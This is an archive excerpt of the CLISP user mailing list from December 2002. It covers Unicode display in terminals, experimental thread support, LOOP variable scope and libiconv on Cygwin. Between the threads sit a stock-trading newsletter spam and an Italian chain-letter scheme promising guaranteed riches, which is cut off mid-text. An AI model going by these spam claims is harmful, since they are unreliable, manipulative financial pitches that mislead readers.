looking for a way to get clisp to behave like this. In particular, I want a way to switch the mode of the evaluator (listener) so that I can type Unicode symbols directly and get them to render correctly. For example I want (setq x ') to render correctly when entered from the keyboard, and when read from a dribbled file and printed. Is this possible? Thanks, Keith Morgan From sds@gnu.org Tue Dec 03 09:51:24 2002 Received: from out003pub.verizon.net ([206.46.170.103] helo=out003.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18JHCe-0003tY-00 for ; Tue, 03 Dec 2002 09:51:24 -0800 Received: from loiso.podval.org ([151.203.48.21]) by out003.verizon.net (InterMail vM.5.01.05.20 201-253-122-126-120-20021101) with ESMTP id <20021203175118.LPUA21770.out003.verizon.net@loiso.podval.org>; Tue, 3 Dec 2002 11:51:18 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.5/8.12.5) with ESMTP id gB3HrIk7025635; Tue, 3 Dec 2002 12:53:18 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.5/8.12.5/Submit) id gB3HrHVs025631; Tue, 3 Dec 2002 12:53:17 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: "Keith Morgan" Cc: Subject: Re: [clisp-list] Unicode question References: <003401c29af2$0bfc9160$3b01a8c0@intertax.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <003401c29af2$0bfc9160$3b01a8c0@intertax.com> Message-ID: Lines: 35 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH PLAIN at out003.verizon.net from [151.203.48.21] at Tue, 3 Dec 2002 11:51:18 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Dec 3 09:52:03 2002 X-Original-Date: 03 Dec 2002 12:53:17 -0500 > * In message <003401c29af2$0bfc9160$3b01a8c0@intertax.com> > * On the subject of "[clisp-list] Unicode question" > * Sent on Tue, 3 Dec 2002 11:33:09 -0600 > * Honorable "Keith Morgan" writes: > > In Windows I can switch my keyboard mapping between two languages > (e.g. English and Hindi), and most programs, such as Notepad, will > render the resulting mixed-language text correctly. I can save a > Notepad file in Unicode format and reopen it in Notepad or Word and > both programs render the file correctly. > > I'm looking for a way to get clisp to behave like this. In particular, > I want a way to switch the mode of the evaluator (listener) so that I > can type Unicode symbols directly and get them to render > correctly. For example I want (setq x ') to render > correctly when entered from the keyboard, and when read from a > dribbled file and printed. Is this possible? CLISP offers full support of UNICODE 3.2. CLISP does not render anything though, this is done by the terminal application where you started CLISP (be it dos/cmd window or Emacs buffer). if (setq x ') does not work as you expect it to, this is almost certainly caused by the terminal you are using. See and for more details. -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux If you're passed on the right, you're in the wrong lane. From tfb@ocf.berkeley.edu Tue Dec 03 14:56:29 2002 Received: from war.ocf.berkeley.edu ([128.32.191.89] ident=0) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18JLxo-0000oR-00 for ; Tue, 03 Dec 2002 14:56:24 -0800 Received: from apocalypse.OCF.Berkeley.EDU (daemon@apocalypse.OCF.Berkeley.EDU [128.32.191.249]) by war.OCF.Berkeley.EDU (8.11.6/8.9.3) with ESMTP id gB3MuIK23971 for ; Tue, 3 Dec 2002 14:56:18 -0800 (PST) Received: (from tfb@localhost) by apocalypse.OCF.Berkeley.EDU (8.11.6/8.9.3) id gB3MuI810846; Tue, 3 Dec 2002 14:56:18 -0800 (PST) From: "Thomas F. Burdick" MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15853.13969.966100.471282@apocalypse.OCF.Berkeley.EDU> To: CLISP Users List X-Mailer: VM 6.90 under Emacs 20.7.1 Subject: [clisp-list] Threads support? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Dec 3 14:57:03 2002 X-Original-Date: Tue, 3 Dec 2002 14:56:17 -0800 On the cmucl-help list, in the context of wondering about the state of threads in the free CL implementations, Edi Weitz wrote the following: > './configure --help' in the build directory of CLISP 2.30 reveals this: > > --with-threads=FLAVOR support multiple threads in one CLISP image > via OS threads [highly experimental - use at your own risk] > FLAVORs = POSIX_THREADS POSIXOLD_THREADS SOLARIS_THREADS > C_THREADS WIN32_THREADS > > I didn't try it, though. I'm curious, is this actually being developed, or is it hopeful leftovers from an abandoned attempt? If work is being done on it, what's the state? Obviously "highly experimental", but does that mean that I can play with it for noncritical things, or will it most likely dump core before doing anything useful, or what? Jes wondering... -- /|_ .-----------------------. ,' .\ / | No to Imperialist war | ,--' _,' | Wage class war! | / / `-----------------------' ( -. | | ) | (`-. '--.) `. )----' From sds@gnu.org Wed Dec 04 15:55:11 2002 Received: from pop017pub.verizon.net ([206.46.170.210] helo=pop017.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18JjMF-0007CI-00 for ; Wed, 04 Dec 2002 15:55:11 -0800 Received: from loiso.podval.org ([151.203.48.21]) by pop017.verizon.net (InterMail vM.5.01.05.09 201-253-122-126-109-20020611) with ESMTP id <20021204235504.VFAN1532.pop017.verizon.net@loiso.podval.org>; Wed, 4 Dec 2002 17:55:04 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.5/8.12.5) with ESMTP id gB4NvNk7028454; Wed, 4 Dec 2002 18:57:23 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.5/8.12.5/Submit) id gB4NvMeW028450; Wed, 4 Dec 2002 18:57:22 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] scope in loops References: <20021203084136.2C4AC23409@thalassa.informatimago.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 28 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH PLAIN at pop017.verizon.net from [151.203.48.21] at Wed, 4 Dec 2002 17:55:04 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Dec 4 15:56:01 2002 X-Original-Date: 04 Dec 2002 18:57:22 -0500 > > Is there any place in HyperSpec where the scope of the loop variables > > is specified? > > no. it has been discussed in c.l.l and the consensus appeared to be > that the iteration variables will not necessarily exist inside finally > clauses. nevertheless people do expect the iteration variables to be available in the finally clauses - and some lisps permit that. CLISP does not allow (some) iteration variables in the finally clauses because of the initializations1/initializations2 split in EXPAND-LOOP (loop.lisp) entitled "Initialisierungen abarbeiten und optimieren". Removing this optimization results in the same number of bytecodes (15) and the same speed for (defun f1 (a) (loop for x in a sum x)) and 1 less bytecode (25 vs 26) and a marginal (<1%) speed improvement for (defun f2 (a b) (loop for x in a for y in b sum x sum y)) I think we should remove this optimization. -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux char*a="char*a=%c%s%c;main(){printf(a,34,a,34);}";main(){printf(a,34,a,34);} From kmorgan@inter-tax.com Thu Dec 05 09:21:53 2002 Received: from picasso.inter-tax.com ([204.221.208.211] helo=inter-tax.com) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18JzhA-0008Rd-00 for ; Thu, 05 Dec 2002 09:21:52 -0800 Received: from edison ([64.247.204.2]) by inter-tax.com ([204.221.208.211]) with SMTP (MDaemon.PRO.v6.5.2.R) for ; Thu, 05 Dec 2002 11:21:19 -0600 From: "Keith Morgan" To: Subject: RE: [clisp-list] Unicode question Message-ID: <000e01c29c82$aba1bba0$3b01a8c0@intertax.com> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook, Build 10.0.3416 Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106 In-Reply-To: X-MDRemoteIP: 64.247.204.2 X-Return-Path: kmorgan@inter-tax.com X-MDaemon-Deliver-To: clisp-list@lists.sourceforge.net Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Dec 5 09:22:07 2002 X-Original-Date: Thu, 5 Dec 2002 11:20:55 -0600 It sounds like I would have to wire clisp into a real Windows interface instead of using the Dos/command line terminal, since Dos windows never render Unicode correctly, even when using wprintf(), etc. The usual problem with lisp is that it likes to call out, but not be called by native code (e.g. Windows event methods). Do you know if anyone has worked on wiring a clisp r-e-p loop into a Windows interface? Thanks. Keith Morgan > -----Original Message----- > From: Sam Steingold [mailto:sds@gnu.org] > Sent: Tuesday, December 03, 2002 11:53 AM > To: Keith Morgan > Cc: clisp-list@lists.sourceforge.net > Subject: Re: [clisp-list] Unicode question > > > > * In message <003401c29af2$0bfc9160$3b01a8c0@intertax.com> > > * On the subject of "[clisp-list] Unicode question" > > * Sent on Tue, 3 Dec 2002 11:33:09 -0600 > > * Honorable "Keith Morgan" writes: > > > > In Windows I can switch my keyboard mapping between two languages > > (e.g. English and Hindi), and most programs, such as Notepad, will > > render the resulting mixed-language text correctly. I can save a > > Notepad file in Unicode format and reopen it in Notepad or Word and > > both programs render the file correctly. > > > > I'm looking for a way to get clisp to behave like this. In > particular, > > I want a way to switch the mode of the evaluator (listener) > so that I > > can type Unicode symbols directly and get them to render correctly. > > For example I want (setq x ') to render correctly when > > entered from the keyboard, and when read from a dribbled file and > > printed. Is this possible? > > CLISP offers full support of UNICODE 3.2. > > CLISP does not render anything though, this is done by the > terminal application where you started CLISP (be it dos/cmd > window or Emacs buffer). > > if (setq x ') does not work as you expect it to, > this is almost certainly caused by the terminal you are using. > > See and > l> for more > details. > > -- > Sam Steingold > (http://www.podval.org/~sds) running RedHat8 GNU/Linux If you're passed on the right, you're in the wrong lane. From ampy@ich.dvo.ru Fri Dec 06 00:05:58 2002 Received: from ints.vtc.ru ([212.16.193.34] helo=vtc.ru ident=[DuyyfkwoL8mvxBQeNTVoZcgXoZQZrxyd]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18KDUY-0007ry-00 for ; Fri, 06 Dec 2002 00:05:46 -0800 Received: from ppp175-AS-3.vtc.ru (ppp175-AS-3.vtc.ru [212.16.216.175]) by vtc.ru (8.12.6/8.12.6) with ESMTP id gB683jJi024911; Fri, 6 Dec 2002 18:04:00 +1000 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodjuck Organization: ICH X-Priority: 3 (Normal) Message-ID: <904995302.20021206174941@ich.dvo.ru> To: "Keith Morgan" CC: clisp-list@lists.sourceforge.net Subject: Re[2]: [clisp-list] Unicode question In-reply-To: <000e01c29c82$aba1bba0$3b01a8c0@intertax.com> References: <000e01c29c82$aba1bba0$3b01a8c0@intertax.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Dec 6 00:06:05 2002 X-Original-Date: Fri, 6 Dec 2002 17:49:41 +1000 Hello Keith, Friday, December 06, 2002, 3:20:55 AM, you wrote: > It sounds like I would have to wire clisp into a real Windows interface > instead of using the Dos/command line terminal, since Dos windows never > render Unicode correctly, even when using wprintf(), etc. The usual > problem with lisp is that it likes to call out, but not be called by > native code (e.g. Windows event methods). Do you know if anyone has > worked on wiring a clisp r-e-p loop into a Windows interface? Thanks. 'Dos' (console window) can display some national codepage so clisp with properly set up *terminal-encoding* should be able to map Unicode to this codepage. I use Russian and English characters with CP866, there are room for all of it. There will be a problem if I'll want to use more languages simultaneosly. But while I fit in CP866 I'm ok. Is there really no way to display Hindi characters in a console window (without clisp) ? >------------------------------------------------------- >This SF.net email is sponsored by: Microsoft Visual Studio.NET >comprehensive development tool, built to increase your >productivity. Try a free online hosted session at: Hmmm. -- Best regards, Arseny From alex_tibbles@yahoo.co.uk Sat Dec 07 10:00:27 2002 Received: from web12605.mail.yahoo.com ([216.136.173.228]) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18KjFb-0003NS-00 for ; Sat, 07 Dec 2002 10:00:27 -0800 Message-ID: <20021207180026.57400.qmail@web12605.mail.yahoo.com> Received: from [213.208.105.19] by web12605.mail.yahoo.com via HTTP; Sat, 07 Dec 2002 18:00:26 GMT From: =?iso-8859-1?q?Alex=20Tibbles?= Subject: Re: Re[5]: [clisp-list] iconv(3) To: Arseny Slobodjuck , clisp-list@lists.sourceforge.net Cc: Alex Tibbles In-Reply-To: <1954312460.20021123220414@ich.dvo.ru> MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Dec 7 10:01:07 2002 X-Original-Date: Sat, 7 Dec 2002 18:00:26 +0000 (GMT) > >> I'm wondering what this means for compiling clisp > on > >> cygwin. Cygwin (current) has version 1.8 of > libiconv. > >> Currently, clisp is not compatible with this > version. > >> Is this summary correct? > >> Is this a problem in libiconv or clisp? > > > If I'm right, solution is to rebuild libiconv > against new > > cygwin headers (namely errno.h) and link clisp > with it. > > It will be still libiconv 1.8 I think. > > I just managed to rebuild libiconv (just learned to > use patched > sources from cygwin) and problem has gone. Also I > had to build > and install libsigsegv from its CVS - clisp didn't > get build > without it. which libiconv sources are you using? i tried the source installed by cygwin's setup program and had no luck. (the problems seemed to mirror gcc-2.95->gcc-3.x problems that the maintainers of cygwin's setup program itself were having eg. http://cygwin.com/ml/cygwin-apps/2002-11/msg00003.html)). i fiddled a few of the problems (adding using directives) but there were sooooo many i figured there must be a better version of the source somewhere). i also tried libiconv's cvs on source forge to no avail. thanks, alex __________________________________________________ Do You Yahoo!? Everything you'll ever need on one web page from News and Sport to Email and Music Charts http://uk.my.yahoo.com From alvaincomesrx161@aol.com Sat Dec 07 11:47:12 2002 Received: from 200-204-75-216.dsl.telesp.net.br ([200.204.75.216] helo=aol.com) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18Kkup-0005yD-00 for ; Sat, 07 Dec 2002 11:47:08 -0800 Received: from unknown (88.145.137.159) by asy100.as122.sol-superunderline.com with esmtp; Sat, 07 Dec 2002 20:49:40 -0200 Received: from unknown (119.175.227.252) by rly-xw01.otpalo.com with asmtp; Sat, 07 Dec 2002 18:44:33 +0100 Reply-To: Message-ID: <037e86c13c7a$8771a0b1$0ac20dd3@wugjgi> From: To: MiME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 8bit X-Priority: 1 (High) X-MSMail-Priority: High X-Mailer: Microsoft Outlook Express 6.00.2462.0000 Importance: Normal Subject: [clisp-list] The ONE daily stock letter you will ever need! 8659q-5 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Dec 7 11:48:03 2002 X-Original-Date: Sat, 07 Dec 2002 13:33:56 +0600 Fellow trader.. Bull Market? Bear Market Bounce? Calm before the Storm (Crash)? Buy and Hold? Day Trade? Swing Trade? Sector Rotate? Asset Allocate? Double Bottom? Double Dip Recession? Inflation? Deflation? Recovery? Depression? Stochastics? Moving Averages? MACD? Bollinger Bands? Level 2 Quotes? ECN's? Earnings? Warnings? Scandals? Arrests? War? Peace? How are you supposed to know what to do with your money if you don't know what the words mean and how they are being used to mislead you down the wrong path, while the 'insiders' go down a different path? The WaveTracker Daily Market Letter is designed for those that prefer 'swing' trading with the time frame of 2 days to 2 months. Released 4 hours before US markets open each trading day, this service provides analysis and commentary of where major markets (Dow, SPX, NDX, COMP, XAU) have been and are going, using Elliott Wave and Fibonacci Theories. We use a proprietary decision-support-model to identify high-confident long and short opportunities with target prices for when we're right, as well as stop losses for when we're wrong, which isn't too often. The portfolio section tracks every selection ever made, allowing you to sort by stock symbol, open/closed positions, longs/shorts, profit/loss, and date highlighted/entered.Long and short opportunities are highlighted only after the markets' probable paths have been explained. Many opportunities per day are presented under our rigid discipline with target entry ranges, exit levels, and stop loss suggestions. This product allows those not able to be in front of a computer all day long to benefit from our system of risk-managed entries and exits, using our 80% threshold on our composite decision model. How have we done? If every pick was followed since inception on May 1 until December 1, 2002, with 100 shares each, after taking in to account the losing picks that were stopped out, the portfolio is ahead over 600 points, or $60,000, not including commissions. Obviously, past results have no predictive ability on future performance. Come see for yourself and sign up for a free trial by clicking on the SIGN UP link. How can you learn what we do and how to do it yourself? Once you have registered with our site, you can click on the TRADING TOOLS button and find out about our WaveChat live-market trading desk/chatroom, Trading Video Course, Best Buys, and some of our other favorite tools. The TRAINING button will take you to information on our Trading Acceleration course, Weekend Wave Wonder Workshops (W4), Private Coaching sessions, and other Special Offerings from time to time. http://www.hot.ee/twws Our MISSION is to use our experience and techniques to uncover the secrets of the game and level the playing field so everyone has an equal chance at success. Sign up FREE for 2 weeks starting today! http://www.hot.ee/twws For your completely Free Trial If you like the profits, then sign up after the free Trial - If you don't then have the Free Trial with our Compliments. No hard feelings. Try us out - it's free ! http://www.hot.ee/twws ermm... Did I say it's FREE ? Try now with our Compliments! View Portfolio Archives December 6th, 2002 Friday: Dow'a Pattern Kisses 9000 Goodbye! The markets spent all day continuing the declining pattern from late yesterday. We still are using a working wave count as nearing an end of (v) of 1. A gap down at open and reverse for a short covering rally to finish Friday is an interesting prospect. The second opinion is we already have seen the wave 2 and now we are in (i) of 3 down. Weighing on the other side is the fact that saber rattling with regard to Iraq's weapon declaration on Sunday may keep longs nervous. In an attempt by public firms of note to give the appearance of disclosure, Intel reported the current sales prospect. All this is a sop to the public to make us feel like they are open and not hiding anything. This is the confidence game going on to keep us in stocks. Intel likely finished a C wave after hours, and will proceed on its appointed path down soon. We still maintain that a major decline is ahead of us in the DOW and S+P especially, in the range of 30% very soon. The McClellan Oscillators: The McClellan Oscillators We are now entering the oversold area and need to be mindful of a rebound, even if only to the zero line. The NYSE's falling down more to under zero at -5. The SPX extended under the zero line at -48, and the NDX down very deep to -82. Momentum: Momentum: The A/D at the NYSE was slightly negative at 3:4, and the Nasdaq at 2:3. Total volume, light, maybe due to a snow storm approaching at 1.2 billion shares. The A/D in volume was around 1:2 in the NYSE and 2:5 in the Nasdaq. Vix pushed still hanging at 34.2. The P/C ratio for equities is at .76. The 10 day MA for equity P/C is at .64, also showing a 5 wave down in shape. The Investor Intelligence Advisory Sentiment survey lists a 50% bullish reading which we have to read as a bearish high reading. The ARMS index, 10 dma, is at 1.10. The DOW: The DOW: The low late in the day was 8609 and is still part of the wave off the 8811 high. Some more fall to 8550 looks to be coming. So far the counter trend rallies have been small and the next real test will be to see if a larger corrective wave will reach 8800. This will certainly confirm that it can be labeled wave 2. 8400 is the next major trend line to offer support. We are still early in the new down cycle and don't expect a 'low' until the end of the third week of December. This should coincide with a 10 week cycle. The SPX: The SPX: Similar wave count as the Dow also, reaching a low of 907.This is near a 5th wave low , so we should be prepared for a counter trend rally. That retracement will better allow us to pin a larger degree wave label. 2 or (ii) of 3. 925 should be ample resistance. Reaching 880 offers lower trend line support. Nasdaq: Nasdaq: We gapped up and then drifted down to a low of 1052 in the NDX and 1411 in the Comp. These are just slightly lower than yesterday, and can be called very near a 5th wave down. We can expect a rally for much of Friday if there is any bullish strength and to put in a confident wave 2. The corrective rally can easily make resistance up to 1095 and 1460. For the bears we would love to see the island maintain the gap of nine days ago. So if the highs of 1083 in NDX and 1444 in the Comp hold, even the daily chart will maintain this bearish pattern. We have already broke lower ascending trend line support at 1085 and then 1060 and 1020 in NDX and 1440 and 1370 in Comp should signal a larger decline ahead. In review the highs of Monday reached the A=C equality relationship given weeks ago here, A = C relationship gave us 1155 in NDX and 1521 in Comp. In an observation of this 7 week rally compared to the rally of a year ago I project the next support for the Nasdaq Comp to be 875. It is early to start thinking that far ahead , but if it helps put a prospective on the next decline ahead, use it as a guide. Each year the NDX (100) reshuffles it portfolio to reflect the changes in market cap of the individuals in the trust. Tech is becoming less and less of this, and this year the following stocks are at risk of being dropped. ADCT AMCC ITWO RATL SANM CNXT PMCS VTSS IDTI ATML RFMD, also SEPR ABGX PDLI IMCL CHTR ADRX. The following stocks could be considered for inclusion as they have grown in market cap. PIXR EXPD GNTX GRMN DRYR XRAY HSIC PETM CECO ROST WFMI. These could experience price moves as they are included as the trust and funds would have to own them. Something to watch in this next month. The XAU: The XAU: The bullish count for a rally to 72 is coming to the forefront. A 5 wave pattern, off the 62 low, looks prominent now with a high of 69.50 right in line with yesterdays prediction. Now a pullback to 65-66 and holding there will give a strong case for the 72 to 75 target. Let us play this close and wait to have it show the direction. The triangle count in the XAU and HUI will break very soon, and establish a new wave pattern. The primary target, for the longer run, is downward to 55, still remains intact for the XAU. The label at that time very much needs to be given a more bullish tint at that low for an A/B/C bottom at 55 will be a (B) wave or a 4th wave. I am becoming more convinced that the initial drop off the May high can only be labeled as an a-b-c for A. That was followed by another clear a-b-c so far for B ,or (a) of B. This keeps us on alert that we are still in some corrective pattern that is fairly complex. The alternate count, alluded to above, near term bullish longer term bearish is for this rally from 65 to carry higher to 75-80 in a (c) of , then a drop to new lows. Now I want to draw your attention to the BUGS index, for Basket of Unhedged Gold Stocks. The stocks in this index do not have their sales hedged so that the market price gets reflected in asset value. ABX , PDG, and AU are the worst offenders in hedged sales of future production. The chart below shows how a 4th wave pattern is the clearest option for a wave count. The BUGS index includes ASA, GLG, HM, and NEM. AU looks to be a good proxy for the XAU, for those trading off this index. A note on the price of gold the metal, looks by two wave counts, to be in a 4th wave ready to push higher to $350. This surely will get reflected in the mining stocks. Our Mutual Fund Allocation: Our Mutual Fund Allocation: As of 11/21, we are now 30% Juno from 7.72 average price (100% short 30-year treasury bonds), 20% Tempest at 95.78, and at 10% Tempest at 88.11 for average of 93.22 (200% short S&P 500), and 10% Venture at 84.83, 20% Venture at 69.45, and 10% Venture at 64.75 for an average of 74.60 (200% short NDX). This Week's Earnings Reports: MON: TUES: AMWD, CHS, PETM, JDEC WEDS: RDEN, UNFI, SNPS THURS: MBG, NX FRI: NSM Many in the money plays have been taken off. Other open plays very old just taken off letter. SHORT PLAY: entry target stop NFI (9-18) 25-26.00 17.00 30.00 close to done COLM 40-41.00 20.00 44.00 44.25 hit maintain short for Tuesday FDS (9-20) 26-27.00 19.00 30.00 stopped out, thrust out of triangle MDT 40-42.00 32.00 49.00 Raised stop still ok short BSX (10-7) 35-37.00 25.00 39.00 in little 5th SYY 29-31.00 20.00 33.00 SYMC 34-36.00 28.00 37.00 stopped out, making new high FNM 67-70.00 55.00 72.00 SLE (10-17) 22-23.00 15.00 25.00 stopped before , new entry PRX (10-21) 21-23.00 15.00 26.00 stopped out WWY 52-54.00 45.00 56.00 EFX (10-23) 24-26.00 18.00 27.00 MRCY 28-30.00 15.00 35.00 AOL (10-25) 15-16.00 8.00 17.00 EXBD 33-35.00 22.00 36.00 WMAR 14-16.00 8.00 17.00 ODP (10-30) 14-15.00 5.00 17.00 ** raise stop as 18 is where a=c COX 28-30.00 17.00 33.00 CEPH (11-1) 49-51.00 35.00 53.00 stopped out LH (11-4) 24-25.00 18.00 26.00 Now active ESPD 14-16.00 10.00 17.00 CSCO (11-5) 12-13.00 8.00 13.75 stopped out CYMI 27-30.00 15.00 32.00 remain short AGEN (11-6) 10-11.00 6.00 12.00 GBL 34-35.00 25.00 36.00 AIG (11-8) 67-70.00 48.00 71.00 FIC 39-40.00 25.00 42.00 stopped out QLGC 40-44.00 20.00 46.00 top is E wave of 20 month triangle ISSX (11-13) 20-22.00 12.00 23.50 ++stopped out VAL 43-44.00 38.00 45.00 DELL (11-15) 28-30.00 20.00 32.00 BRKS (11-21) 13.50-14.50 10.00 15.00 BMY (11-25) 27-28.00 20.00 31.00 ULTE 17-19.00 5.00 22.00 SLAB (11-26) 27-30.00 15.00 31.00 SRE 24-25.00 15.00 26.00 NSM (11-27) 20-21.00 10.00 23.00 BHE (11-29) 31-33.00 10.00 35.00 PETM (12-2) 18-22.00 12.00 23.00 IR (12-3) 45-48.00 30.00 55.00 (sharp a-b-c up) KEX (12-5) 26-28.00 20.00 30.00 GYMB (12-6) 18-20.00 12.00 22.00 (in c of B) LONG PLAY: BRCD 5.75-6.00 9.00 5.50 New long for (C) wave up BGO (11-18) .75- .85 3.00 .60 ASA (11-18) 25-27.50 40.00 23.00 RESP (11-19) 31-33.00 40.00 29.00 (4th wave triangle) NX (12-2) 29-30.00 45.00 28.00 (4th wave C wave low) 3837sCGO6-447OnMM1820CGqi8-218GaWW8313VKYk6-641mlIq6795ZMIY9-717HxRc2575l68 From soldifacili@libero.it Sat Dec 07 12:29:15 2002 Received: from host52-253.pool80117.interbusiness.it ([80.117.253.52] helo=localhost.localdomain) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 18KlZY-0007wC-00 for ; Sat, 07 Dec 2002 12:29:13 -0800 Received: from ciupaciups (lisa [127.0.0.1]) by localhost.localdomain (8.12.5/8.12.5) with SMTP id gB7KE4JN028932 for ; Sat, 7 Dec 2002 21:14:04 +0100 Message-Id: <200212072014.gB7KE4JN028932@localhost.localdomain> From: To: clisp-list@lists.sourceforge.net Subject: [clisp-list] non perdere l'opportunita Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Dec 7 12:30:02 2002 X-Original-Date: Sat Dec 7 21:14:04 2002 Vorresti davvero guadagnare con Internet? Bene la prima cosa da fare è salvare su disco questa pagina per averla a portata di mano anche se il tuo PC non è connesso ad Internet, poi copia tutto in word o in blocco note e stampalo, così lo potrai leggere con più attenzione. Questo Sistema è diverso da tutti gli altri, quindi se non ti fidi leggi le istruzioni con attenzione per valutarlo, e quando le avrai comprese ti assicuro che sarà per te IRRESISTIBILE la voglia di partecipare. QUESTO è SENZA DUBBIO IL GIORNO Più FORTUNATO DELLA TUA VITA!!! IMMAGINA A COSA POTRESTI FARE CON 1,5- 2 MILIARDI DI LIRE. SEI UNO DEI FORTUNATI ITALIANI A RICEVERE QUESTA FAMOSA MLM E-MAIL, DELLA QUALE TUTTI STANNO PARLANDO, E DELLA QUALE LA TELEVISIONE E TUTTI I GIORNALI ITALIANI HANNO DEDICATO AMPIO SPAZIO NELLE SCORSE SETTIMANE!!! 1,5 MILIARDI DI LIRE IN SOLE SEI SETTIMANE!!! GARANTITO!!! FINALMENTE TRADOTTA ANCHE IN ITALIANO PER IL TUO SUCCESSO!!! UN SISTEMA CHE ANNULLA COMPLETAMENTE TOTOCALCIO, TOTOGOL, LOTTO, ENALOTTO E LOTTERIE VARIE!!! BASTA GIOCARE E SPRECARE SOLDI INUTILMENTE!!! COMINCIA A VINCERE UNA VOLTA PER TUTTE 1,5 - 2 MILIARDI DI LIRE OGNI 6 SETTIMANE FINO A QUANDO NON SARAI STUFO DI TUTTI QUEI SOLDI!!!!!!!!!!!!!!!!!!!!!!! Proprio così!! Si, basta preoccuparsi del lavoro, del quale non se ne può più, dei soldi, che non sono mai abbastanza, di quella vacanza che VORRESTI ma è sempre più lontana!!! GRAZIE A QUESTA E-MAIL RICEVERAI 1,5 - 2 MILIARDI DI LIRE OGNI 6 SETTIMANE!!! ASSICURATO!!! Quindi il mio consiglio è quello di cominciare A TIRARE FUORI I SOGNI DAL CASSETTO!!! Immagina per un attimo cosa potresti fare, ad esempio potresti ordinare la nuova, fiammante, Lamborghini Murcielago che ti meriti, oppure recarti alla banca e pagare una volta per tutte quel mutuo sulla casa o 